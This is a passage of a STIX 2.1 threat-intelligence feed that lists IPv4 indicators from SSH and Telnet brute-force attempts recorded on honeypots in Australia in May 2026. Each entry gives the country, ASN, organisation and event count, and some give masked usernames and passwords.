      "id": "indicator--10fea2a4-7789-4594-b83a-4eea264a65b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.249.27.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--2f5ffaff-a0aa-4ec7-adda-d836b0ea86fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.124.222.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--32067983-0865-43ca-93fc-92e421859abf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.191.22.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e051f99c-9091-4bef-875b-7eae9254eac2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.119.9.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--42c1f92a-0f97-4793-a13e-c28e4897e579",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.127.10.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--75edd1c7-e54a-4b2d-9b2f-c8215f2ef300",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.240.53.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28330. Organisation(s): AS28330. Usernames observed (masked): r**t, u****u. Passwords observed (masked): A*******#, p******d.",
      "id": "indicator--d76d402f-797e-4222-be6d-9eb1d9757324",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.50.142.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): s*****t. Passwords observed (masked): I*************************t.",
      "id": "indicator--25b04d95-0cfe-47d8-98f7-e7783bf1268f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--654604e2-83a2-4b5c-ac60-930d5216ff5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.32.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271907. Organisation(s): COLNETWORK C.A..",
      "id": "indicator--25d96157-f347-49c2-8d1e-532cdd41545b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.0.168.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5630a155-e1cb-4153-b428-1599dd94495b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.225.36.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b1b55130-9bb0-4c56-a6f4-259d83098ab8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.150.228.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t, t**r.",
      "id": "indicator--5c5f041b-33e4-40da-bcf2-98856d86e918",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.94.144.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--79ea355c-9077-40a4-a0c4-ec5111004a87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.15.173.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--452cf603-e348-4a6c-8b78-29c4e57baa83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.22.118.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c6acd091-5722-4dd7-8cdc-6fce4a2941d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.65.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--80a0c067-7ce2-4c8e-9bf3-24d62baf99ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.29.165.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 301. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 131111. Organisation(s): PT Mora Telematika Indonesia. Usernames observed (masked): r**t, 3**********4, a***t, a******3, g****t. Passwords observed (masked): 3***********4, 3**********4, 1****., 1****6, 1******8.",
      "id": "indicator--e5524bba-408e-4adc-99b9-d28e9a7e327b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.50.25.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--d73adb74-17aa-459c-b892-0b8964482fd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.6.251.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266186. Organisation(s): Eleandro Luiz Sampaio.",
      "id": "indicator--3f5bb742-03f3-4241-bf92-2e8b93881682",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.6.87.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c0741134-b7c7-4bcc-96cb-3f5668d0a829",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.122.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--8b38b72a-5190-4330-89cf-7894c0b7ec1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.126.232.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--41a74a85-cc76-44e5-97cd-310c32bc1ceb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.174.119.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--de59cb93-0994-4323-bb5f-646b05698698",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.161.21.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--0be1421f-b592-460d-9f74-5a49e8c8e264",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.243.237.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JM. ASN(s): 30689. Organisation(s): FLOW.",
      "id": "indicator--c6aa884c-ae3e-4890-8b9c-0c6bc15eec08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.27.0.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:15:11.000Z",
      "valid_until": "2026-06-24T08:15:08.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): v*******t. Passwords observed (masked): v*******t.",
      "id": "indicator--979858e9-b908-49f9-b48d-7b105a88d29b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.30.40.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3fad7838-30db-4bac-849d-3f67a687e823",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.113.128.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1eb96c6d-01f1-453c-bdec-de9f8ceefb6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.46.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e8310c90-25a8-4aa8-a1da-dee3f1e7cf1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.236.170.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--f2cab498-258b-4cec-a773-6e692c57d3e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.236.247.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company.",
      "id": "indicator--f19bdbee-e986-42ea-aedf-6828f03c6467",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.68.189.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--025e8641-7720-4afb-bb46-947f40e5733b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.195.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1127709e-5f9e-4e85-ba89-07e580fc63da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.239.47.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--db3317b8-aef0-449a-8d85-780d0dabea27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.61.27.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4ac46f3b-7d06-43ad-b393-cabee6a4b5b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.7.8.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1c2de5bb-a57c-4c10-ae08-5c34a8ca7036",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '143.198.208.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
